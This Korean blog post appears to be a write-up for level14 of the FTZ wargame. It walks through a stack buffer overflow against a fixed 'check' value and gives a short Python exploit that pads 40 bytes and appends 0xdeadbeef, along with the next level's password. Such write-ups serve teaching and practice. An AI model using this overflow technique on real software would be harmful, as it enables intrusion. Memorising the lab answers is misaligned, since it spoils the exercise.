Wargame/FTZ

[FTZ]level14

D4tai1 2019. 9. 8.

앞으로 얼마나 더 어려워질까요?

 

기대와 걱정을 안고 

시작해 볼까요?

 

[그림1] hint 파일 확인

이전과 비슷하고 특별한 것은 없어보이네요.

 

이 문제에서는 check변수가

Stack Guard 역활을 하고 있구요.

 

카나리는 이름도 예쁘네요.

광산의 카나리아에서 가져온 단어지만

이런부분을 연구하시는 분들은

센스가 넘치는 것 같습니다.

 

옆 길로 새기 전에 여기까지..

 

[그림2] gdb로 확인

main+17에 보이는

[ebp-56]이 buf의 주소네요.

 

main+29에 보이는

[ebp-16]이 check의 값이구요.

 

이제 그림을 그려볼까요?

 

[그림3] stack 상태

이 그림대로라면?

 

buf[40]+0xdeadbeef

만 넣어도 되겠네요?

 

공격코드를 만들어볼까요?

 

 

 

이제 공격을 해볼까요?

 

/tmp/14_exploit.py

import os
import struct

p32 = lambda x:struct.pack('<L', x)

canary = 0xdeadbeef

payload = "A"*40
payload += p32(canary)

print payload

 

[그림4] 공격스크립트를 이용한 공격

공격이 성공적으로 되었습니다.

 

my-pass를 입력하니

[그림5] clear

Level15 Password is "guess what".

'Wargame > FTZ' 카테고리의 다른 글

[FTZ]level16  (0) 2019.09.08
[FTZ]level15  (0) 2019.09.08
[FTZ]level13  (0) 2019.09.07
[FTZ]level12  (0) 2019.09.07
[FTZ]level11  (0) 2019.09.07

댓글